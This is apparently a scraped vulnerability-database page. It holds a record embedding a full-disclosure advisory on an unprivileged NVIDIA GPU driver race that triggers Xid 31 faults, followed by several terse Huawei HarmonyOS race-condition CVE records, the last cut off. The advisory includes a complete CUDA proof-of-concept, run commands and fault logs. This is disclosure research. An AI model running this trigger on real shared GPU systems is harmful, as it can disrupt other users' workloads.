pos-02 positive 0,1 1 yes yes no
672+480 MiB yes
pos-03 positive 0,1 1 yes yes no
672+480 MiB yes
pos-04 positive 0,1 1 yes yes no
672+480 MiB yes
pos-05 positive 0,1 1 yes yes no
672+480 MiB yes
neg-01 negative 0,1 0 no - no
- yes
neg-02 negative 0,1 0 no - no
- yes
neg-03 negative 0,1 0 no - no
- yes
neg-04 negative 0,1 0 no - no
- yes
Positives 5/5, negatives 4/4. Held GPU memory was recorded numerically
for pos-01 (672 MiB on GPU0, 480 MiB on GPU1); the harness recorded it
as a boolean for pos-02..05. Those numbers are derivable from the
trigger's own allocations - four 64 MiB destination buffers plus a
~416 MiB CUDA context on the local device, 64 MiB source plus the same
context on the peer - which is what rules out random corruption.
Post-reset aggregate uncorrectable ECC totals were zero in every run -
a fault, not hardware damage. The trigger process dies on the first
SIGKILL.
The fault was also reachable on all six local NVLink pairs, one pass each.
The Unmeasured Question
-----------------------
Whether the faulted copy-engine / UVM context clears when the process
dies, or whether the pair stays unusable to a fresh process until a
privileged nvidia-smi --gpu-reset, was not measured.
The harness ran --gpu-reset reflexively immediately after killing the
trigger, destroying the evidence for its own most important question.
The test node was deprovisioned before the run could be repeated with
a health probe in the gap.
Four indicators, three of them NVIDIA's own, point toward self-clearing:
- NVIDIA's Xid
Severity
No CVSS data available.
Assigner
References
15 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Linux GPU",
"vendor": "Nvidia",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abhinav Agarwal"
}
],
"descriptions": [
{
"lang": "en",
"value": "NVIDIA Linux GPU driver - unprivileged Xid 31 copy-engine MMU fault\nduring an NVLink peer transfer\n==================================================================================================\n\nAn unprivileged local user with no GPU group, no admin group and no\ncapabilities, using only the driver\u0027s default 0666 /dev/nvidia*\npermissions and public CUDA Runtime APIs, deterministically causes a\nPID-attributed copy-engine MMU fault (Xid 31) during an NVLink peer\ntransfer. The captured Xid names one PCI device, 0000:01:00 - it is\nnot evidence that both GPUs of the pair entered a faulted state, and\nno such claim is made here. The trigger is a race: call\ncudaDeviceDisablePeerAccess() while a cudaMemcpyPeerAsync() is still\nin flight on the peer path. Reproduced 5/5 with PID attribution to the\ntriggering process, against 4/4 clean negative controls. NVIDIA\nreviewed the report and determined this is intended behavior and not a\nbug.\n\nAffected: NVIDIA Linux GPU driver, CUDA peer-access path on\nNVLink-connected GPUs\nTested: 595.71.05-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0, CUDA 13.2\nCWE: CWE-362 (race condition) for the mechanism; CWE-276\n(incorrect default permissions) as the access precondition\nStatus: Closed by NVIDIA as Not Applicable, 2026-08-04, on the\ngrounds that it is intended behavior. No fix.\nCVE: none assigned\nRef: Intigriti NVIDIA-S5KGSS2R, NVIDIA PSIRT ticket 6286071\nCompanion: \"NVIDIA Linux GPU driver: cross-UID GPU process telemetry\nvia NVML\" - same node, same driver, same 0666 precondition\n\nRead the \"Unmeasured Question\" section before drawing conclusions\nabout severity. The single measurement that separates a self-contained\nfault from a cross-tenant denial of service is one I did not capture,\nand I am not claiming it.\n\n\nObserved Mechanism\n------------------\n\ncudaDeviceEnablePeerAccess() installs a peer mapping so GPU a can\naddress GPU b\u0027s memory over NVLink. cudaMemcpyPeerAsync() queues a DMA\non a copy engine that walks that mapping.\ncudaDeviceDisablePeerAccess() tears the mapping down. Nothing forces\nthe outstanding DMA to drain first. The Xid line names FAULT_PDE on\nCE4, consistent with the copy engine dereferencing a page directory\nentry that has just been unmapped - an inference from the fault type\nand engine, not a claim about driver internals.\n\n GPU a (holds peer mapping) GPU b (peer)\n +----------------------------------+\n+---------------------------+\n | cudaSetDevice(a) | |\ncudaMalloc(src) |\n | cudaDeviceEnablePeerAccess(b) ------ NVLink ---\u003e | peer mapping\ninstalled |\n | cudaMemcpyPeerAsync() x4 |===== DMA in flight on CE4\n=====\u003e |\n | cudaDeviceDisablePeerAccess(b) | |\n |\n | ^ | |\n |\n | +-- PDE torn down while CE4 is still walking it\n |\n +----------------------------------+\n+---------------------------+\n |\n v\n CE4 dereferences an unmapped PDE -\u003e FAULT_PDE\nACCESS_TYPE_VIRT_READ\n |\n v\n Xid 31, PID-attributed to the caller\n\nThe negative control synchronizes every copy before teardown, so no\nDMA is outstanding when the mapping is removed. Approximately 9,000\nsynchronized cycles per run across four negative controls - roughly\n36,000 cycles total - produced zero Xid. That isolates the\nin-flight-copy-versus-teardown race as the cause rather than peer\naccess itself.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node, and the driver\u0027s own default device permissions:\n\n # grep -E \u0027ModifyDeviceFiles|DeviceFileMode\u0027 /proc/driver/nvidia/params\n ModifyDeviceFiles: 1\n DeviceFileMode: 438 # 0666 octal\n\nThe trigger user for all captured runs was uid 1011, in no GPU group,\nwith an empty effective capability set.\n\n\nProof of Concept\n----------------\n\nFull PoC code, the instrumented trigger, the canary ladder and raw\nevidence for both findings:\n\u003chttps://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u003e\n\n--a and --p are CUDA-visible ordinals. CUDA_VISIBLE_DEVICES,\ncontainers, schedulers and MIG all remap these, so pin them to the\nintended physical pair.\n\n /* nvlink_p2p_cycle.cu\n * build: nvcc -arch=sm_80 -O2 -o nvlink_p2p_cycle nvlink_p2p_cycle.cu\n * pos: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1\n--inflight 1 --dur 30\n * neg: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1\n--inflight 0 --dur 30\n * (the captured runs used --dur 30)\n */\n #include \u003cstdio.h\u003e\n #include \u003cstdlib.h\u003e\n #include \u003cstring.h\u003e\n #include \u003ctime.h\u003e\n #include \u003cunistd.h\u003e\n #include \u003ccuda_runtime.h\u003e\n\n /* peer enable/disable and the async copies are EXPECTED to return\nerrors once the\n * pair starts faulting; swallow them so the loop keeps racing. */\n #define SOFT(x) do { cudaError_t _e=(x); (void)_e; } while(0)\n #define CHECK(x) do { cudaError_t _e=(x); if(_e!=cudaSuccess){ \\\n fprintf(stderr,\"%s:%d\n%s\\n\",__FILE__,__LINE__,cudaGetErrorString(_e)); exit(1);} } while(0)\n\n static double now_s(void){ struct timespec t;\nclock_gettime(CLOCK_MONOTONIC,\u0026t);\n return t.tv_sec + t.tv_nsec/1e9; }\n\n int main(int argc,char**argv){\n int a=0,p=1,mb=64,nstream=4,inflight=1; double dur=60.0;\n for(int i=1;i\u003cargc;i++){\n if(!strcmp(argv[i],\"--a\")\u0026\u0026i+1\u003cargc) a=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--p\")\u0026\u0026i+1\u003cargc) p=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--dur\")\u0026\u0026i+1\u003cargc) dur=atof(argv[++i]);\n else if(!strcmp(argv[i],\"--mb\")\u0026\u0026i+1\u003cargc) mb=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--streams\")\u0026\u0026i+1\u003cargc)\nnstream=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--inflight\")\u0026\u0026i+1\u003cargc)\ninflight=atoi(argv[++i]);\n }\n size_t bytes=(size_t)mb*1024*1024;\n printf(\"pid=%d\\n\",(int)getpid()); /* PID attribution is the\ncentral claim */\n\n int can=0; CHECK(cudaDeviceCanAccessPeer(\u0026can,a,p));\n if(!can){ fprintf(stderr,\"no p2p %d\u003c-\u003e%d\\n\",a,p); return 2; }\n\n /* source buffer lives on the peer; destinations and streams on\nthe local device */\n CHECK(cudaSetDevice(p));\n void *src; CHECK(cudaMalloc(\u0026src,bytes));\nCHECK(cudaMemset(src,0xCD,bytes));\n CHECK(cudaSetDevice(a));\n void **dst = (void**)malloc(nstream*sizeof(void*));\n cudaStream_t *st = (cudaStream_t*)malloc(nstream*sizeof(cudaStream_t));\n for(int s=0;s\u003cnstream;s++){ CHECK(cudaMalloc(\u0026dst[s],bytes));\nCHECK(cudaStreamCreate(\u0026st[s])); }\n\n double t0=now_s(); unsigned long long cyc=0;\n while(now_s()-t0 \u003c dur){\n SOFT(cudaDeviceEnablePeerAccess(p,0));\n/* install peer mapping */\n for(int s=0;s\u003cnstream;s++)\n SOFT(cudaMemcpyPeerAsync(dst[s],a,src,p,bytes,st[s]));\n/* 4 x 64MiB async on CE */\n if(!inflight)\n for(int s=0;s\u003cnstream;s++) cudaStreamSynchronize(st[s]);\n/* negative control only */\n SOFT(cudaDeviceDisablePeerAccess(p));\n/* tear down mid-DMA */\n cyc++;\n }\n printf(\"done: %llu cycles in %.1fs\\n\", cyc, now_s()-t0);\n return 0;\n }\n\nFour 64 MiB copies across four streams keeps enough DMA outstanding\nthat the teardown lands inside the transfer window on essentially\nevery cycle.\n\nBefore running, confirm the two ordinals really are NVLink-connected -\ncudaDeviceCanAccessPeer also returns 1 for PCIe P2P, which was not\ntested here:\n\n nvidia-smi topo -m # expect NV\u003cn\u003e between the chosen\nGPUs, not PHB/SYS\n nvidia-smi -L\n\nWatch the kernel log. This needs root, or kernel.dmesg_restrict=0:\n\n dmesg -w | grep -i xid\n\nIf no Xid appears within about 30 seconds, raise --mb and --streams\nuntil the teardown reliably lands inside the transfer window.\n-arch=sm_80 is A100; use sm_90 on H100/GH200, untested here.\n\nDO NOT RESET YET. Resetting here destroys the only evidence that\nmatters - it is exactly the mistake my own harness made, and it is why\nthe central question in this post is unanswered. The required order\nis:\n\n trigger -\u003e kill -9 the trigger -\u003e canary as a DIFFERENT\nunprivileged UID, before any reset\n -\u003e reset ONLY if that canary fails\n\nRead state without clearing it:\n\n nvidia-smi -q | grep -i \"GPU Recovery Action\"\n\nOnly after the pre-reset canary has been run and recorded:\n\n nvidia-smi --gpu-reset -i \u003ca\u003e,\u003cb\u003e # requires no processes\nattached to those GPUs\n\nPositive run (--inflight 1), captured verbatim:\n\n [Sat May 30 18:33:27 2026] NVRM: Xid (PCI:0000:01:00): 31,\npid=6507, name=nvlink_p2p_cycl,\n channel 0x0c00001f, intr 00000000. MMU Fault: ENGINE CE4\nHUBCLIENT_HSCE0 faulted @\n 0x7a77_7dbc6000. Fault is of type FAULT_PDE ACCESS_TYPE_VIRT_READ\n\nNegative control (--inflight 0), approximately 9,000 synchronized cycles:\n\n NONE\n\nMachine-scored verdict for the same positive run:\n\n { \"poc\": \"F5b-Xid31-unprivileged-P2P-disable-race\", \"kind\": \"positive\",\n \"trigger_user\": \"victimuser\", \"physical_gpu_pair\": [\"0\",\"1\"],\n\"inflight\": 1,\n \"xid_seen_during_run\": 1, \"trigger_launch_pids\": [\"6507\"],\n\"xid_line_pids\": [\"6507\"],\n \"verdict\": \"PASS\",\n \"criteria\": { \"fresh_xid31\": true, \"pid_match\": true,\n\"xid154_or_175\": false,\n \"unprivileged_user\": true, \"survived_first_sigkill\": false,\n \"held_gpu_memory\": true, \"ecc_clean_post\": true } }\n\npos-01 launched at 18:33:23 and the Xid landed at 18:33:25 - two seconds.\n\n\nResults\n-------\n\n Run Kind Pair inflight Fresh Xid 31 PID-matched Xid\n154/175 Held GPU mem ECC clean\n ------- --------- ----- --------- ------------- ------------\n------------ ---------------- ---------\n pos-01 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-02 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-03 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-04 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-05 positive 0,1 1 yes yes no\n 672+480 MiB yes\n neg-01 negative 0,1 0 no - no\n - yes\n neg-02 negative 0,1 0 no - no\n - yes\n neg-03 negative 0,1 0 no - no\n - yes\n neg-04 negative 0,1 0 no - no\n - yes\n\nPositives 5/5, negatives 4/4. Held GPU memory was recorded numerically\nfor pos-01 (672 MiB on GPU0, 480 MiB on GPU1); the harness recorded it\nas a boolean for pos-02..05. Those numbers are derivable from the\ntrigger\u0027s own allocations - four 64 MiB destination buffers plus a\n~416 MiB CUDA context on the local device, 64 MiB source plus the same\ncontext on the peer - which is what rules out random corruption.\nPost-reset aggregate uncorrectable ECC totals were zero in every run -\na fault, not hardware damage. The trigger process dies on the first\nSIGKILL.\n\nThe fault was also reachable on all six local NVLink pairs, one pass each.\n\n\nThe Unmeasured Question\n-----------------------\n\nWhether the faulted copy-engine / UVM context clears when the process\ndies, or whether the pair stays unusable to a fresh process until a\nprivileged nvidia-smi --gpu-reset, was not measured.\n\nThe harness ran --gpu-reset reflexively immediately after killing the\ntrigger, destroying the evidence for its own most important question.\nThe test node was deprovisioned before the run could be repeated with\na health probe in the gap.\n\nFour indicators, three of them NVIDIA\u0027s own, point toward self-clearing:\n\n - NVIDIA\u0027s Xid"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-276",
"description": "CWE-276",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-362",
"description": "CWE-362",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:52:15Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/78"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/78"
},
{
"url": "https://abhinavagarwal07.github.io"
},
{
"url": "https://arxiv.org/html/2503.11901v3"
},
{
"url": "https://docs.aws.amazon.com/eks/latest/userguide/node-repair.html"
},
{
"url": "https://docs.nvidia.com/cuda/archive/13.2.0/cuda-runtime-api/group__CUDART__PEER.html"
},
{
"url": "https://docs.nvidia.com/cuda/cuda-runtime-api/group__CUDART__PEER.html"
},
{
"url": "https://docs.nvidia.com/datacenter/tesla/fabric-manager-user-guide/index.html"
},
{
"url": "https://docs.nvidia.com/deploy/xid-errors/analyzing-xid-catalog.html"
},
{
"url": "https://docs.nvidia.com/deploy/xid-errors/index.html"
},
{
"url": "https://github.com/NVIDIA/k8s-device-plugin/blob/main/internal/rm/health.go"
},
{
"url": "https://github.com/NVIDIA/open-gpu-kernel-modules/blob/main/kernel-open/nvidia/nv-reg.h"
},
{
"url": "https://github.com/abhinavagarwal07/nvidia-gpu-security-poc"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/78"
],
"discovery": "EXTERNAL"
},
"title": "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering, no CVE (vendor: intended)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0083",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/78",
"automated": true,
"contentSha256": "d9b7f5d4e360248ee44af2a3660b4178ae6c8eeb4d85b362cbf49126837f61cf",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/78",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T19:43:46Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-11T11:52:15Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0083"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-68969 (GCVE-0-2025-68969)
Vulnerability from cvelistv5 – Published: 2026-01-14 02:07 – Updated: 2026-01-14 14:33
VLAI
EPSS
VEX
Summary
Multi-thread race condition vulnerability in the thermal management module.
Impact: Successful exploitation of this vulnerability may affect availability.
Severity
6.8 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-14 14:33 UTC
CWE
- CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Assigner
References
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-68969",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-14T14:33:21.115768Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-14T14:33:28.265Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "HarmonyOS",
"vendor": "Huawei",
"versions": [
{
"status": "affected",
"version": "5.1.0"
},
{
"status": "affected",
"version": "5.0.1"
},
{
"status": "affected",
"version": "6.0.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Multi-thread race condition vulnerability in the thermal management module.\u003cbr\u003eImpact: Successful exploitation of this vulnerability may affect availability."
}
],
"value": "Multi-thread race condition vulnerability in the thermal management module.\nImpact: Successful exploitation of this vulnerability may affect availability."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-362",
"description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-14T02:07:24.192Z",
"orgId": "25ac1063-e409-4190-8079-24548c77ea2e",
"shortName": "huawei"
},
"references": [
{
"url": "https://consumer.huawei.com/en/support/bulletin/2026/1//"
},
{
"url": "https://consumer.huawei.com/en/support/bulletinlaptops/2026/1//"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "25ac1063-e409-4190-8079-24548c77ea2e",
"assignerShortName": "huawei",
"cveId": "CVE-2025-68969",
"datePublished": "2026-01-14T02:07:24.192Z",
"dateReserved": "2025-12-27T09:06:51.412Z",
"dateUpdated": "2026-01-14T14:33:28.265Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-68962 (GCVE-0-2025-68962)
Vulnerability from cvelistv5 – Published: 2026-01-14 02:04 – Updated: 2026-01-14 14:34
VLAI
EPSS
VEX
Summary
Multi-thread race condition vulnerability in the camera framework module.
Impact: Successful exploitation of this vulnerability may affect availability.
Severity
5.1 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-14 14:34 UTC
CWE
- CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Assigner
References
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-68962",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-14T14:34:17.003566Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-14T14:34:24.043Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "HarmonyOS",
"vendor": "Huawei",
"versions": [
{
"status": "affected",
"version": "5.1.0"
},
{
"status": "affected",
"version": "5.0.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Multi-thread race condition vulnerability in the camera framework module.\u003cbr\u003eImpact: Successful exploitation of this vulnerability may affect availability."
}
],
"value": "Multi-thread race condition vulnerability in the camera framework module.\nImpact: Successful exploitation of this vulnerability may affect availability."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-362",
"description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-14T02:04:11.095Z",
"orgId": "25ac1063-e409-4190-8079-24548c77ea2e",
"shortName": "huawei"
},
"references": [
{
"url": "https://consumer.huawei.com/en/support/bulletin/2026/1//"
},
{
"url": "https://consumer.huawei.com/en/support/bulletinlaptops/2026/1//"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "25ac1063-e409-4190-8079-24548c77ea2e",
"assignerShortName": "huawei",
"cveId": "CVE-2025-68962",
"datePublished": "2026-01-14T02:04:11.095Z",
"dateReserved": "2025-12-27T09:06:51.411Z",
"dateUpdated": "2026-01-14T14:34:24.043Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-68961 (GCVE-0-2025-68961)
Vulnerability from cvelistv5 – Published: 2026-01-14 02:02 – Updated: 2026-01-14 14:44
VLAI
EPSS
VEX
Summary
Multi-thread race condition vulnerability in the camera framework module.
Impact: Successful exploitation of this vulnerability may affect availability.
Severity
5.1 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-14 14:44 UTC
CWE
- CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Assigner
References
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-68961",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-14T14:44:49.211112Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-14T14:44:55.578Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "HarmonyOS",
"vendor": "Huawei",
"versions": [
{
"status": "affected",
"version": "5.1.0"
},
{
"status": "affected",
"version": "5.0.1"
},
{
"status": "affected",
"version": "6.0.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Multi-thread race condition vulnerability in the camera framework module.\u003cbr\u003eImpact: Successful exploitation of this vulnerability may affect availability."
}
],
"value": "Multi-thread race condition vulnerability in the camera framework module.\nImpact: Successful exploitation of this vulnerability may affect availability."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-362",
"description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-14T02:02:42.344Z",
"orgId": "25ac1063-e409-4190-8079-24548c77ea2e",
"shortName": "huawei"
},
"references": [
{
"url": "https://consumer.huawei.com/en/support/bulletin/2026/1//"
},
{
"url": "https://consumer.huawei.com/en/support/bulletinlaptops/2026/1//"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "25ac1063-e409-4190-8079-24548c77ea2e",
"assignerShortName": "huawei",
"cveId": "CVE-2025-68961",
"datePublished": "2026-01-14T02:02:42.344Z",
"dateReserved": "2025-12-27T09:06:51.411Z",
"dateUpdated": "2026-01-14T14:44:55.578Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-68960 (GCVE-0-2025-68960)
Vulnerability from cvelistv5 – Published: 2026-01-14 02:01 – Updated: 2026-01-14 14:51
VLAI
EPSS
VEX
Summary
Multi-thread race condition vulnerability in the video framework module.
Impact: Successful exploitation of this vulnerability may affect availability.
Severity
8.4 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-14 14:50 UTC
CWE
- CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Assigner
References
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-68960",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-14T14:50:59.463354Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-14T14:51:07.368Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "HarmonyOS",
"vendor": "Huawei",
"versions": [
{
"status": "affected",
"version": "5.1.0"
},
{
"status": "affected",
"version": "5.0.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Multi-thread race condition vulnerability in the video framework module.\u003cbr\u003eImpact: Successful exploitation of this vulnerability may affect availability."
}
],
"value": "Multi-thread race condition vulnerability in the video framework module.\nImpact: Successful exploitation of this vulnerability may affect availability."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-362",
"description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-14T02:01:03.747Z",
"orgId": "25ac1063-e409-4190-8079-24548c77ea2e",
"shortName": "huawei"
},
"references": [
{
"url": "https://consumer.huawei.com/en/support/bulletin/2026/1//"
},
{
"url": "https://consumer.huawei.com/en/support/bulletinlaptops/2026/1//"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "25ac1063-e409-4190-8079-24548c77ea2e",
"assignerShortName": "huawei",
"cveId": "CVE-2025-68960",
"datePublished": "2026-01-14T02:01:03.747Z",
"dateReserved": "2025-12-27T09:06:51.411Z",
"dateUpdated": "2026-01-14T14:51:07.368Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-68958 (GCVE-0-2025-68958)
Vulnerability from cvelistv5 – Published: 2026-01-14 01:59 – Updated: 2026-01-14 14:51
VLAI
EPSS
VEX
Summary
Multi-thread race condition vulnerability in the card framework module.
Impact: Successful exploitation of this vulnerability may affect availability.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-14 14:51 UTC
CWE
- CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Assigner
References
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-68958",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-14T14:51:26.258103Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
